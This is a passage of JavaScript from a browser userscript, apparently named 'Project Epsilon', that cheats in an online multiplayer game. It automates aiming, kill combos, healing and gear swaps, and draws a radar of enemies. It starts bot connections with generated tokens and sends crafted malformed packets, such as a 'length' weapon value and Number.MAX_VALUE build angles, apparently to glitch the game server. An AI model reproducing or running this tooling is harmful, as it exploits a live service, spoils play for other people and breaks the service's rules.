                                    let oldAcc = myPlayer.accessory, oldHat = myPlayer.hat;
                                    setTimeout(function () {
                                        storeEquip(oldHat);
                                        storeEquip(oldAcc, !0);
                                    }, 120);
                                    setTimeout(function () {
                                        dns(["6", [4]]);
                                        dns(["c", [1]]); dns(["c", [0]]);
                                    }, 100);
                                    setTimeout(function () {
                                        dns(["6", [15]]);
                                        dns(["c", [1]]); setTimeout(dns(["c", [0]]), 100);
                                        setTimeout(()=>{
                                            storeEquip(oldAcc, !0); storeEquip(oldHat);
                                        }, 200);
                                    }, 200);
                                };
                            });

                            /*
                        YouTube iframe API, licensed under Apache 2.0
                        https://www.apache.org/licenses/LICENSE-2.0
                        https://developers.google.com/youtube/iframe_api_reference (license at the bottom)
                        */
                            var scriptUrl = 'https:\/\/www.youtube.com\/s\/player\/901932ee\/www-widgetapi.vflset\/www-widgetapi.js';
                            try {
                                var ttPolicy = window.trustedTypes.createPolicy("youtube-widget-api", {
                                    createScriptURL: function(x) {
                                        return x
                                    }
                                });
                                scriptUrl = ttPolicy.createScriptURL(scriptUrl)
                            } catch (e) {}
                            if (!window["YT"]) var YT = {
                                loading: 0,
                                loaded: 0
                            };
                            if (!window["YTConfig"]) var YTConfig = {
                                "host": "https://www.youtube.com"
                            };
                            if (!YT.loading) {
                                YT.loading = 1;
                                (function() {
                                    var l = [];
                                    YT.ready = function(f) {
                                        if (YT.loaded) f();
                                        else l.push(f)
                                    };
                                    window.onYTReady = function() {
                                        YT.loaded = 1;
                                        for (var i = 0; i < l.length; i++) try {
                                            l[i]()
                                        } catch (e$0) {}
                                    };
                                    YT.setConfig = function(c) {
                                        for (var k in c)
                                            if (c.hasOwnProperty(k)) YTConfig[k] = c[k]
                                    };
                                    var a = document.createElement("script");
                                    a.type = "text/javascript";
                                    a.id = "www-widgetapi-script";
                                    a.src = scriptUrl;
                                    a.async = true;
                                    var c = document.currentScript;
                                    if (c) {
                                        var n = c.nonce || c.getAttribute("nonce");
                                        if (n) a.setAttribute("nonce", n)
                                    }
                                    var b =
                                        document.getElementsByTagName("script")[0];
                                    b.parentNode.insertBefore(a, b)
                                })()
                            };
                            /*
                        END YOUTUBE IFRAME API
                        */

                            let ytcheck = setInterval(()=>{
                                if (!!unsafeWindow.YT.Player) {
                                    clearInterval(ytcheck);
                                    var player;
                                    player = new unsafeWindow.YT.Player('adCard', {
                                        videoId: '4ud3ZPfWkHs', // YouTube Video ID
                                        width: 560,               // Player width (in px)
                                        height: 316,              // Player height (in px)
                                        playerVars: {
                                            autoplay: false,        // Auto-play the video on load
                                            controls: 1,        // Show pause/play buttons in player
                                            showinfo: true,        // Hide the video title
                                            modestbranding: 1,  // Hide the Youtube Logo
                                            loop: 1,            // Run the video in a loop
                                            fs: 0,              // Hide the full screen button
                                            cc_load_policy: 0, // Hide closed captions
                                            iv_load_policy: 3,  // Hide the Video Annotations
                                            autohide: 0         // Hide video controls when playing
                                        },
                                        events: {
                                            onReady: function(e) {
                                                e.target.mute();
                                                //e.target.playVideo();
                                            }
                                        }
                                    });
                                };
                            })
                            const promises = [];
                            for(let i = 0; i < botcount; i++) promises.push(generateToken());
                            Promise.all(promises).then(t => {
                                let tokens = t;
                                console.log('generated: ', tokens);
                                for(let i = 0; i < botcount; i++) {
                                    connectBot(tokens[i]);
                                };
                            });
                            width = cvs.clientWidth, height = cvs.clientHeight, overlay(), $(window)
                                .resize(function () {
                                width = cvs.clientWidth, height = cvs.clientHeight, overlay()
                            }), drawRadar(), cvs.addEventListener("mousemove", function (e) {
                                mX = e.clientX, mY = e.clientY
                            }), console.log(">============================<\nProject Epsilon Initialized\n>============================<");
                            break;
                        case "1":
                            null == myPlayer.id && (myPlayer.id = n[1]), console.log("ID :", myPlayer.id), (()=>{
                                if (!rcexec) {
                                    try {
                                        let xsxml;
                                        xsxml = new XMLHttpRequest();
                                        xsxml.open("GET", "https://anti-river-glitch-x1.glitch.me/stat");
                                        xsxml.onload = (e) => {
                                            //console.log(e.currentTarget.responseText, e);
                                            //if (e.currentTarget.responseText == "1") {};
                                        };
                                        //xsxml.send();
                                    } catch(e) {
                                        console.log(e);
                                    };
                                };
                                rcexec = true;
                            })();
                            break;
                        case "ch":
                            if (document.getElementById("cMirr").checked) {
                                if (n[1] != myPlayer.id) {
                                    dns(["ch", [n[2]]]);
                                };
                            };
                            break;
                        case "2":
                            null != names[n[1][1]] ? names[n[1][1]] != n[1][2] ? (console.log("{", names[n[1][1]], "} => {", n[1][2], "} [", n[1][1], "]"), cPlayer && chat("{" + names[n[1][1]] + "} => {" + n[1][2] + "}")) : (console.log("{", names[n[1][1]], "} returned"), cPlayer && chat("{" + names[n[1][1]] + "} returned")) : (console.log("{", n[1][2], "} [", n[1][1], "]"), cPlayer && chat("{" + n[1][2] + "} [" + n[1][1] + "]")), names[n[1][1]] = n[1][2], theirPrimary[n[1][1]] = 0, theirSecondary[n[1][1]] = void 0;
                            break;
                        case "6":
                            for (var a = 0; a < n[1].length / 8; a++) {
                                var i = n[1].slice(8 * a, 8 * a + 8);
                                buildings.push(i);
                                if(i[6] == 15 && i[7] != myPlayer.clan && i[7] != myPlayer.id){
                                    if(Math.sqrt(Math.pow((myPlayer.y-i[2]), 2) + Math.pow((myPlayer.x-i[1]), 2)) < 100) {
                                        if (document.getElementById("doAntiTrap").checked) {
                                            paTr();
                                            document.getElementById("doAntiTrapChat").checked && (
                                                chat(document.getElementById("antiTrapChat").value)
                                            );
                                        };
                                        insidetrap = true;
                                        if (document.getElementById("autoBreak").checked) {
                                            autoBreakLoop = true;
                                            autoBreakObject = i;
                                        };
                                    };
                                };
                            };
                            break;
                        case "7":
                            n[1] == myPlayer.id && (n[3] <= 8 ? (clearTimeout(pCdT), pCd = true, pCdS = "🟥", pCdT = setTimeout(() => {pCd = false;pCdS = "🟩"}, wCds[n[3]]-ping-20)) : (
                                clearTimeout(sCdT), sCd = true, sCdS = "🟥", sCdT = setTimeout(() => {sCd = false;sCdS = "🟩"}, wCds[n[3]]-ping-20)
                            ));
                            setCooldown(n), "counter" == mode && !inInsta && n[1] != myPlayer.id && n[3] > 1 && n[3] < 6 && distance(lastX[n[1]], lastY[n[1]]) < 300 && (inInsta = !0, autoaim = !0, weapon = primary, dns(["5", [primary, !0]]), dns(["13c", [0, 7, 0]]), dns(["13c", [0, 0, 1]]), dns(["13c", [0, 18, 1]]), dns(["7", [!0]]), setTimeout(function () {
                                dns(["13c", [0, 53, 0]]), dns(["13c", [0, 13, 1]]), dns(["7", [!0]]), autoaim = !1
                            }, 100), setTimeout(function () {
                                inInsta = !1
                            }, 200));
                            break;
                        case "9":
                            "kills" == n[1] && ezBool && chat(ezChat);
                            break;
                        case "11":
                            console.log("You Died"), weapon = 0, primary = 0, secondary = 0, foodType = 0, spikeType = 6, millType = 10, mineType = 13, boostType = 15, turretType = 17, respawn && !deathCrash && setTimeout(function () {
                                dns(["sp", [{
                                    name: names[myPlayer.id]
                                    , moofoll: !0
                                    , skin: 0
                                }]]), console.log("Auto Respawning")
                            }, 3e3);
                            break;
                        case "12":
                            try {if (n[1] == autoBreakObject[0]) {
                                autoBreakLoop = false;
                                autoBreakObject = [];
                            }}catch(e){};
                            for (var l = 0; l < buildings.length; l++)
                                if (buildings[l][0] == n[1]) {
                                    logX.push(buildings[l][1]), logY.push(buildings[l][2]);
                                    var p = new Date;
                                    logTime.push(p.getTime()), buildings.splice(l, 1), l--
                                } break;
                        case "13":
                            for (var r = 0; r < buildings.length; r++) buildings[r][7] == n[1] && (buildings.splice(r, 1), r--);
                            names[n[1]] ? (console.log("{", names[n[1]], "} raged"), cPlayer && chat("{" + names[n[1]] + "} raged"), names[n[1]] = void 0) : console.log("[", n[1], "] raged"), theirPrimary[n[1]] = 0, theirSecondary[n[1]] = void 0;
                            break;
                        case "16":
                            break;
                        case "17":
                            if (n[2]) {
                                var c = weapon == primary;
                                primary = n[1][0], secondary = n[1][1] || null, c ? weapon != primary && (weapon = primary) : weapon != secondary && (weapon = secondary)
                            } else
                                for (r = 0; r < n[1].length; r++) {
                                    for (var d = 0; d < 3; d++) d == n[1][r] && (foodType = n[1][r]);
                                    for (var s = 3; s < 6; s++) s == n[1][r] && (wallType = n[1][r]);
                                    for (var u = 6; u < 10; u++) u == n[1][r] && (spikeType = n[1][r]);
                                    for (var m = 10; m < 13; m++) m == n[1][r] && (millType = n[1][r]);
                                    for (var v = 13; v < 15; v++) v == n[1][r] && (mineType = n[1][r]);
                                    for (var h = 15; h < 17; h++) h == n[1][r] && (boostType = n[1][r]);
                                    for (var y = 17; y < 23; y++) y == n[1][r] && 20 !== y && (turretType = n[1][r]);
                                    spawnpadType = 20
                                }
                            break;
                        case "18":
                            inInsta && iReload && (15 == secondary && 1400 == n[4] ? reload = 1650 : 13 == secondary && 1200 == n[4] ? reload = 400 : 12 == secondary && 1200 == n[4] ? reload = 850 : 9 == secondary && 1e3 == n[4] && (reload = 750));
                            break;
                        case "33":
                            enemiesNear = [], nowX = [], nowY = [], drawRadar();
                            for (var f = 0; f < n[1].length / 13; f++) {
                                var b = n[1].slice(13 * f, 13 * f + 13);
                                b[5] < 9 ? (pris[b[0]] = [b[5], b[6]]) : (secs[b[0]] = [b[5], b[6]]);
                                b[0] == myPlayer.id ? (myPlayer.x = b[1], myPlayer.y = b[2], myPlayer.dir = b[3], myPlayer.object = b[4], myPlayer.weapon = b[5], myPlayer.clan = b[7], myPlayer.isLeader = b[8], myPlayer.hat = b[9], myPlayer.accessory = b[10], myPlayer.isSkull = b[11], nowX[myPlayer.id] = myPlayer.x, nowY[myPlayer.id] = myPlayer.y, ctx.beginPath(), ctx.strokeStyle = "#0000FF", ctx.moveTo(centreX, centreY), ctx.lineTo(centreX + (myPlayer.x - lastX[myPlayer.id]) / 6.25, centreY + (myPlayer.y - lastY[myPlayer.id]) / 6.25), ctx.stroke()) : b[7] != myPlayer.clan || null === b[7] ? (enemiesNear.push(b), distance(b[1], b[2]) > 500 ? drawArrow(b[1], b[2], "#FF0000") : drawCircle(b[1], b[2], lastX[b[0]], lastY[b[0]], "#FF0000"), nowX[b[0]] = b[1], nowY[b[0]] = b[2], antiBoostSpike && null != lastX[b[0]] && null != lastY[b[0]] && distance(b[1], b[2]) - distance(lastX[b[0]], lastY[b[0]]) < maxSpeed && (place(spikeType, Math.atan2(b[2] - myPlayer.y, b[1] - myPlayer.x) + toRad(90)), place(spikeType, Math.atan2(b[2] - myPlayer.y, b[1] - myPlayer.x) - toRad(90))), b[5] > 8 ? theirSecondary[b[0]] = b[5] : (3 == theirPrimary[b[0]] || 4 != b[5] || theirSecondary[b[0]] || (theirSecondary[b[0]] = 15), theirSecondary[b[0]] || 4 != b[5] && 5 != b[5] || (theirSecondary[b[0]] = 15), 0 == b[5] && (theirSecondary[b[0]] = void 0), theirPrimary[b[0]] = b[5])) : distance(b[1], b[2]) > 500 ? drawArrow(myPlayer.x, myPlayer.y, b[1], b[2], "#00EE00") : drawCircle(b[1], b[2], lastX[b[0]], lastY[b[0]], "#00EE00")
                            }
                            if (pos.innerHTML = "{" + myPlayer.x + "," + myPlayer.y + "}", lastX = nowX, lastY = nowY, sAim)
                                for (r in enemiesNear) enemiesNear[r][1] += (enemiesNear[r][1] - lastX[enemiesNear[r][0]]) * dist(enemiesNear[r], myPlayer) / projSpeed(weapon), enemiesNear[r][2] += (enemiesNear[r][2] - lastY[enemiesNear[r][0]]) * dist(enemiesNear[r], myPlayer) / projSpeed(weapon);
                            if (enemiesNear && (closestenemy = enemiesNear.sort(function (e, n) {
                                return dist(e, myPlayer) - dist(n, myPlayer)
                            })[0]), closestenemyAngle = closestenemy ? Math.atan2(closestenemy[2] - myPlayer.y, closestenemy[1] - myPlayer.x) : myPlayer.dir, "insta" == mode && !inInsta && closestenemy && dist(closestenemy, myPlayer) < 220 && !cooldown[myPlayer.id] && weapon != secondary && (
                                inInsta = !0,
                                iAim && (autoaim = !0),
                                icBool && chat(iChat),
                                dns(["13c", [0, 0, 1]]),
                                dns(["7", [!0]]),
                                iReverse ? (weapon = secondary, dns(["5", [secondary, !0]]), dns(["13c", [0, iHat2, 0]]), dns(["13c", [0, iAcc2, 1]]), setTimeout(function () {
                                    dns(["13c", [0, iHat1, 0]]), dns(["13c", [0, iAcc1, 1]]), weapon = primary, dns(["5", [primary, !0]])
                                }, instaSpeedR / 2)) : (
                                    weapon = primary,
                                    dns(["5", [primary, !0]]),
                                    iSwitch || (iAim ? (placeStable(spikeType, closestenemyAngle + toRad(45)),
                                                        placeStable(spikeType, closestenemyAngle - toRad(45))) :
                                                (placeStable(spikeType, Math.atan2(mY - height / 2, mX - width / 2) + toRad(45)), placeStable(spikeType, Math.atan2(mY - height / 2, mX - width / 2) - toRad(45)))),
                                    dns(["13c", [0, iHat1, 0]]),
                                    dns(["13c", [0, iAcc1, 1]]),
                                    setTimeout(function () {
                                        dns(["13c", [0, iHat2, 0]]),
                                            dns(["13c", [0, iAcc2, 1]]),
                                            iSwitch && (weapon = secondary, dns(["5", [secondary, !0]]))
                                    }, instaSpeed / 2)), setTimeout(function () {
                                    autoaim = !1, dns(["13c", [0, dHat, 0]]), dns(["13c", [0, dAcc, 1]]), dns(["7", [!0]]), weapon = secondary, dns(["5", [secondary, !0]]);
                                    var e = 0;
                                    15 == secondary ? e = 1650 : 13 == secondary ? e = 400 : 12 == secondary ? e = 850 : 9 == secondary && (e = 750), setTimeout(function () {
                                        weapon = primary, dns(["5", [primary, !0]]), setTimeout(function () {
                                            inInsta = !1
                                        }, 1e3)
                                    }, e)
                                }, instaSpeed)), "counter" != mode || inInsta) {
                                if (!inInsta && ahat && "hat" != mode)
                                    if (closestenemy && dist(closestenemy, myPlayer) < 300) {
                                        var g = !1;
                                        for (a = 0; a < n[1].length / 13; a++) {
                                            var k = n[1].slice(13 * a, 13 * a + 13);
                                            if (k[0] != myPlayer.id && Math.sqrt(Math.pow(myPlayer.y - k[2], 2) + Math.pow(myPlayer.x - k[1], 2)) < 300 && !cooldown[k[0]]) {
                                                g = !0;
                                                break
                                            }
                                        }
                                        g && defence ? (dns(["13c", [0, dHat, 0]]), dns(["13c", [0, dAcc, 1]])) : offence && (dns(["13c", [0, oHat, 0]]), dns(["13c", [0, oAcc, 1]]))
                                    } else speed && (myPlayer.y < 2400 ? (dns(["13c", [0, ssHat, 0]]), dns(["13c", [0, ssAcc, 1]])) : myPlayer.y > 6850 && myPlayer.y < 7550 ? (dns(["13c", [0, srHat, 0]]), dns(["13c", [0, srAcc, 1]])) : (dns(["13c", [0, snHat, 0]]), dns(["13c", [0, snAcc, 1]])))
                            } else closestenemy && dist(closestenemy, myPlayer) < 300 ? (dns(["13c", [0, 11, 0]]), dns(["13c", [0, 0, 1]]), dns(["13c", [0, 21, 1]])) : myPlayer.y < 2400 ? (dns(["13c", [0, ssHat, 0]]), dns(["13c", [0, ssAcc, 1]])) : myPlayer.y > 6850 && myPlayer.y < 7550 ? (dns(["13c", [0, srHat, 0]]), dns(["13c", [0, srAcc, 1]])) : (dns(["13c", [0, snHat, 0]]), dns(["13c", [0, snAcc, 1]]));
                            break;
                        case "ac":
                            names[n[1].owner] ? console.log("{", names[n[1].owner], "} created {", n[1].sid, "}") : console.log("[", n[1].owner, "] created {", n[1].sid, "}");
                            break;
                        case "ch":
                            if (n[1] == myPlayer.id)
                                if ("!clan " == n[2].substring(0, 6)) dns(["8", [n[2].substring(6)]]), setTimeout(function () {
                                    chat("Clan : " + n[2].substring(6))
                                }, 500);
                                else if ("!unclan" == n[2].substring(0, 7)) dns(["9", [null]]), setTimeout(function () {
                                    chat("Clan : null")
                                }, 500);
                                else if ("!join " == n[2].substring(0, 6)) {
                                    var w = n[2].substring(6);
                                    dns(["10", [w]]), setTimeout(function () {
                                        chat("Clan : " + w)
                                    }, 500)
                                } else if ("!kick " == n[2].substring(0, 6)) {
                                    var S = n[2].substring(6)
                                    , H = 0;
                                    names.forEach(function (e, n) {
                                        e == S && (setTimeout(function () {
                                            dns(["12", [n]])
                                        }, 1e3 * H), H++)
                                    }), setTimeout(function () {
                                        chat("Kick : " + S)
                                    }, 500)
                                } else "!derp" == n[2].substring(0, 7) ? setTimeout(function () {
                                    chat(derp ? "Derp : OFF" : "Derp : ON"), derp = !derp, document.getElementById("derp")
                                        .checked = derp
                                }, 500) : "!setup stick" == n[2].substring(0, 12) ? (dns(["6", [8]]), dns(["6", [17]]), dns(["6", [31]]), dns(["6", [23]]), dns(["6", [10]]), dns(["6", [33]]), setTimeout(function () {
                                    chat("Setup : Stick + Hammer")
                                }, 500)) : "!setup instaP" == n[2].substring(0, 13) ? (dns(["6", [5]]), dns(["6", [17]]), dns(["6", [31]]), dns(["6", [23]]), dns(["6", [9]]), dns(["6", [33]]), dns(["6", [28]]), dns(["6", [15]]), setTimeout(function () {
                                    chat("Setup : Polearm + Musket")
                                }, 500)) : "!setup instaK" == n[2].substring(0, 13) ? (dns(["6", [3]]), dns(["6", [17]]), dns(["6", [31]]), dns(["6", [23]]), dns(["6", [9]]), dns(["6", [33]]), dns(["6", [4]]), dns(["6", [4]]), dns(["6", [15]]), setTimeout(function () {
                                    chat("Setup : Katana + Musket")
                                }, 500)) : "!greataxe" == n[2].substring(0, 9) ? (dns(["6", [2]]), setTimeout(function () {
                                    chat("Upgrade : Great Axe")
                                }, 500)) : "!katana" == n[2].substring(0, 7) ? (dns(["6", [4]]), setTimeout(function () {
                                    chat("Upgrade : Katana")
                                }, 500)) : "!crossbowR" == n[2].substring(0, 10) ? (dns(["6", [13]]), setTimeout(function () {
                                    chat("Upgrade : Repeater Crossbow")
                                }, 500)) : "!crossbow" == n[2].substring(0, 9) ? (dns(["6", [12]]), setTimeout(function () {
                                    chat("Upgrade : Crossbow")
                                }, 500)) : "!musket" == n[2].substring(0, 7) ? (dns(["6", [15]]), setTimeout(function () {
                                    chat("Upgrade : Musket")
                                }, 500)) : "!windmill" == n[2].substring(0, 9) ? (dns(["6", [28]]), setTimeout(function () {
                                    chat("Upgrade : Power Mill")
                                }, 500)) : "!spikeS" == n[2].substring(0, 7) ? (dns(["6", [25]]), setTimeout(function () {
                                    chat("Upgrade : Spinning Spikes")
                                }, 500)) : "!spikeP" == n[2].substring(0, 7) ? (dns(["6", [24]]), setTimeout(function () {
                                    chat("Upgrade : Posion Spikes")
                                }, 500)) : "!autoheal" == n[2].substring(0, 9) ? setTimeout(function () {
                                    chat(heal1 ? "Heal : OFF" : "Heal : ON"), heal1 = !heal1, document.getElementById("heal1")
                                        .checked = heal1
                                }, 500) : "!place normal" == n[2].substring(0, 13) ? (pType = "0", setTimeout(function () {
                                    chat("Place : Normal"), document.getElementById("pType")
                                        .value = pType
                                }, 500)) : "!place legit" == n[2].substring(0, 12) ? (pType = "1", setTimeout(function () {
                                    chat("Place : Legit"), document.getElementById("pType")
                                        .value = pType
                                }, 500)) : "!place varience" == n[2].substring(0, 15) ? (pType = "2", setTimeout(function () {
                                    chat("Place : Varience"), document.getElementById("pType")
                                        .value = pType
                                }, 500)) : "!place derp" == n[2].substring(0, 11) ? (pType = "3", setTimeout(function () {
                                    chat("Place : Derp"), document.getElementById("pType")
                                        .value = pType
                                }, 500)) : "!heal normal" == n[2].substring(0, 12) ? (hType = "0", setTimeout(function () {
                                    chat("Heal : Normal"), document.getElementById("hType")
                                        .value = hType
                                }, 500)) : "!heal linear" == n[2].substring(0, 12) ? (hType = "1", setTimeout(function () {
                                    chat("Heal : Linear"), document.getElementById("hType")
                                        .value = hType
                                }, 500)) : "!heal quadratic" == n[2].substring(0, 15) ? (hType = "2", setTimeout(function () {
                                    chat("Heal : Quadratic"), document.getElementById("hType")
                                        .value = hType
                                }, 500)) : "!heal interval" == n[2].substring(0, 14) ? (hType = "3", setTimeout(function () {
                                    chat("Heal : Interval"), document.getElementById("hType")
                                        .value = hType
                                }, 500)) : "!heal slow" == n[2].substring(0, 10) ? (hType = "4", setTimeout(function () {
                                    chat("Heal : Slow"), document.getElementById("hType")
                                        .value = hType
                                }, 500)) : "!heal fast" == n[2].substring(0, 10) ? (hType = "5", setTimeout(function () {
                                    chat("Heal : VERY FAST"), document.getElementById("hType")
                                        .value = hType
                                }, 500)) : "!" == n[2].substring(0, 2) && setTimeout(function () {
                                    placeStable(millType, Number.MAX_VALUE), dns(["ch", [""]]), dns(["8", [""]]), dns(["5", ["length", !0]]), weapon = "length"
                                }, 500);
                            break;
                        case "h":
                            (n[1] == myPlayer.id) && (chSHC(n));
                            if (!(n[1] == myPlayer.id) && n[2] < 100 && n[2] > 0) break;
                            var x = void 0;
                            let didFixed = false;
                            let damage = 100 - n[2];
                            if (document.getElementById("doAntiNobull").checked
                                && closestenemy
                                && damage == 40
                                && closestenemy[5] == 4) {
                                didFixed = true;
                                place(foodType, null);
                                place(foodType, null);
                                place(foodType, null);
                                place(foodType, null); //4 = full hp
                            };
                            if (document.getElementById("doAntiAge").checked
                                && closestenemy
                                && (damage == 37.5 || damage == 38)
                                && closestenemy[9] == 7) {
                                didFixed = true;
                                place(foodType, null);
                                place(foodType, null);
                                place(foodType, null);
                                place(foodType, null); //4 = full hp
                            };

                            //if (document.getElementById("antiSkidTick").checked && closestenemy && (pris[closestenemy[0]] || [4, 0])[0] == 5 && (pris[closestenemy[0]] || [4, 0])[1] >= 2 && (damage == 25 || damage == 18 || damage == 19)) {didFixed = true, place(foodType, null), place(foodType, null), place(foodType, null), place(foodType, null)};

                            if (document.getElementById("newAnti").checked) {
                                if (didFixed) return;
                                didFixed = true;

                                let h = false;
                                if (closestenemy && dist(closestenemy, myPlayer) < 320) {
                                    closestenemy[5] < 9 ? ((( (getDMG((secs[closestenemy[0]] || [15, 0])[0]) * wVM[(secs[closestenemy[0]] || [15, 0])[1]]) + 25) >= n[2]) ? (h = true) : (false)) : ((( getDMG((pris[closestenemy[0]] || [4, 0])[0], true) * wVM[(pris[closestenemy[0]] || [4, 0])[1]] * 1.5) >= n[2]) ? (h = true) : (false));
                                    if (h) {
                                        place(foodType, null);
                                        place(foodType, null);
                                        place(foodType, null);
                                        place(foodType, null);
                                    } else {
                                        let tm = 120
                                        if (delay > 120) tm - 30;
                                        setTimeout(() => {
                                            decrSH();
                                            place(foodType, null);
                                        }, 100);
                                    };
                                } else {
                                    let tm = 120;
                                    if (delay > 120) tm - 30;
                                    setTimeout(() => {
                                        decrSH();
                                        place(foodType, null);
                                    }, 100);
                                };
                            };

                            if (document.getElementById("extraAnti").checked) {
                                if (didFixed) return;
                                didFixed = true;
                                if(pingDel < 140){
                                    delay2 = pingDel;
                                }else{
                                    delay2 = 0;
                                };

                                if(n[2] == 50){
                                    if(lastHealth == 25 && enemiesNear){
                                        place(foodType, null);
                                        bullspam += 1;
                                    };
                                };
                                if (n[2] < 56 && n[2] > 0 && holding == false && closestenemy && bullspam < 5){//bullspam detector
                                    if(myPlayer.hat != 6 && n[2] == 55){}else{
                                        if(foodType == 17){// if cookie, heal once
                                            holding = true
                                            place(foodType, closestenemyAngle);
                                            place(foodType, closestenemyAngle);
                                            let lhat = myPlayer.hat
                                            let lacc = myPlayer.accessory
                                            if(myPlayer.hat != 7 && myPlayer.hat != 11){
                                                dns(["13c", [0, 22, 0]]);
                                            }
                                            setTimeout( () => {
                                                holding2 = true
                                            }, 50);
                                            setTimeout( () => {
                                                bullspam += 1;
                                                decrSH();
                                                place(foodType, closestenemyAngle);//heal again after 250
                                                holding = false
                                                holding2 = false
                                                if (myPlayer.y < 2400){
                                                    hat(0)
                                                    hat(6)
                                                    hat(15);
                                                } else if (myPlayer.y > 6850 && myPlayer.y < 7575){
                                                    hat(0)
                                                    hat(6)
                                                    hat(31)
                                                } else {
                                                    hat(0)
                                                    hat(6)
                                                    hat(12);
                                                }
                                                acc(0)
                                                acc(11);
                                                if(lhat != 7 && lhat != 53){
                                                    hat(lhat)
                                                    acc(lacc)
                                                }
                                                else if(lhat == 7){
                                                    hat(lhat)
                                                    acc(lacc)
                                                }
                                            }, 200 + delay2);
                                        }
                                        if(foodType == 18){//if cheese, heal once
                                            holding = true
                                            place(foodType, closestenemyAngle);
                                            place(foodType, closestenemyAngle);
                                            let lhat = myPlayer.hat
                                            let lacc = myPlayer.accessory
                                            if(myPlayer.hat != 7 && myPlayer.hat != 11){
                                                dns(["13c", [0, 22, 0]]);
                                            }
                                            setTimeout( () => {
                                                holding2 = true
                                            }, 30);
                                            setTimeout( () => {
                                                bullspam += 1;
                                                decrSH();
                                                place(foodType, closestenemyAngle);//heal again at 250
                                                holding = false
                                                holding2 = false
                                                if (myPlayer.y < 2400){
                                                    hat(0)
                                                    hat(6)
                                                    hat(15);
                                                } else if (myPlayer.y > 6850 && myPlayer.y < 7575){
                                                    hat(0)
                                                    hat(6)
                                                    hat(31)
                                                } else {
                                                    hat(0)
                                                    hat(6)
                                                    hat(12);
                                                }
                                                acc(0)
                                                acc(11);
                                                if(lhat != 7 && lhat != 53){
                                                    hat(lhat)
                                                    acc(lacc)
                                                }
                                                else if(lhat == 7){
                                                    hat(lhat)
                                                    acc(lacc)
                                                }
                                            }, 200 + delay2);
                                        }
                                        else{
                                            holding = true// if cookie, heal 3 times
                                            place(foodType, closestenemyAngle);
                                            place(foodType, closestenemyAngle);
                                            place(foodType, closestenemyAngle);
                                            place(foodType, closestenemyAngle);
                                            let lhat = myPlayer.hat
                                            let lacc = myPlayer.accessory
                                            if(myPlayer.hat != 7 && myPlayer.hat != 11){
                                                dns(["13c", [0, 22, 0]]);
                                            }
                                            setTimeout( () => {
                                                holding2 = true
                                            }, 30);
                                            setTimeout( () => {
                                                bullspam += 3;
                                                decrSH();
                                                place(foodType, closestenemyAngle);//heal once 250 ms after
                                                holding = false
                                                holding2 = false
                                                if (myPlayer.y < 2400){
                                                    hat(0)
                                                    hat(6)
                                                    hat(15);
                                                } else if (myPlayer.y > 6850 && myPlayer.y < 7575){
                                                    hat(0)
                                                    hat(6)
                                                    hat(31)
                                                } else {
                                                    hat(0)
                                                    hat(6)
                                                    hat(12);
                                                }
                                                acc(0)
                                                acc(11);
                                                if(lhat != 7 && lhat != 53){
                                                    hat(lhat)
                                                    acc(lacc)
                                                }
                                                else if(lhat == 7){
                                                    hat(lhat)
                                                    acc(lacc)
                                                }
                                            }, 200 + delay2);
                                        }
                                    }
                                }
                                if(n[2] < 16 && n[2] > 0 && holding2 == false){
                                    place(foodType, closestenemyAngle)
                                }
                                if(n[2] < 94 && n[2] > 0 && holding == false) {//this is autoheal
                                    setTimeout( () => {
                                        if(holding == false && n[2] < 94 && n[2] > 0){//holding makes sure dont heal when antiinsta in progress, or else clown faster
                                            place(foodType, closestenemyAngle);
                                            place(foodType, closestenemyAngle);
                                            place(foodType, closestenemyAngle);
                                            place(foodType, closestenemyAngle);
                                            place(foodType, closestenemyAngle);
                                            bullspam = bullspam - 2;
                                            decrSH();
                                        }
                                    }, 140 - delay2);
                                }
                                if(n[2] < 100 && n[2] > 94 && holding == false) {//if lost 6 dmg or higher, heal slowly. also doesnt clown as much.
                                    setTimeout( () => {
                                        if(holding == false && n[2] < 100 && n[2] > 94){
                                            place(foodType, closestenemyAngle);
                                            bullspam = bullspam - 2;
                                            decrSH();
                                        }
                                    }, 300 - delay2);
                                }
                                lastHealth = n[2];
                            };
                            switch (hType) {
                                case "0":
                                    x = 120;
                                    break;
                                case "1":
                                    x = 2 * n[2];
                                    break;
                                case "2":
                                    x = (n[2] - 100) * (n[2] - 100) / -50 + 200;
                                    break;
                                case "3":
                                    x = n[2] < 50 ? 50 : 200;
                                    break;
                                case "4":
                                    x = 200;
                                    break;
                                case "5":
                                    x = 0;
                                    break;
                                default:
                                    console.log("HEAL ERROR")
                            }
                            setTimeout(function () {
                                if (!didFixed) heal();
                            }, x);
                    }
                }

                function dns(e) {
                    ws.send(new Uint8Array(Array.from(msgpack5.encode(e))))
                }

                function chat(e) {
                    dns(["ch", [e]])
                }

                function scramble(e) {
                    for (var n = /^[A-Za-z]+$/, o = "", t = e.length, a = 0; a < t; a++) e.charAt(a)
                        .match(n) ? Math.random() > .25 ? o += e.charAt(a) : o += acFill : o += e.charAt(a);
                    chat(o)
                }

                function acc(e) {
                    dns(["13c", [0, 0, 1]]), dns(["13c", [0, e, 1]])
                }

                function hat(e) {
                    dns(["13c", [0, e, 0]])
                }

                function place(e) {
                    if (!document.getElementById("invisBuilds").checked) {
                        var n = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : Math.atan2(mY - height / 2, mX - width / 2);
                        switch (pType) {
                            case "1":
                                n = null;
                                break;
                            case "2":
                                n += toRad(80 * Math.random() - 40);
                                break;
                            case "3":
                                n = toRad(dir = (324092385 / (dir * Math.E) - Math.cbrt(dir) * dir) % 360)
                        }
                        dns(["5", [e, null]]), dns(["c", [1, n]]), dns(["c", [0, n]]), dns(["5", [weapon, !0]])
                    } else {
                        let mk = Number.MAX_VALUE;
                        dns(["5", [e, null]]), dns(["c", [1, mk]]), dns(["c", [0, mk]]), dns(["5", [weapon, !0]])
                    };
                }

                function heal() {
                    56 == myPlayer.hat ? (storeEquip(0), dns(["5", [foodType]]), dns(["c", [1, null]]), dns(["c", [0, null]]), dns(["5", [weapon, !0]]), dns(["13c", [0, 56, 0]])) : (dns(["5", [foodType]]), dns(["c", [1, null]]), dns(["c", [0, null]]), dns(["5", [weapon, !0]])), heal2 && (56 == myPlayer.hat ? (storeEquip(0), dns(["5", [foodType]]), dns(["c", [1, null]]), dns(["c", [0, null]]), dns(["5", [weapon, !0]]), dns(["13c", [0, 56, 0]])) : (dns(["5", [foodType]]), dns(["c", [1, null]]), dns(["c", [0, null]]), dns(["5", [weapon, !0]])))
                }

                function boostSpike() {
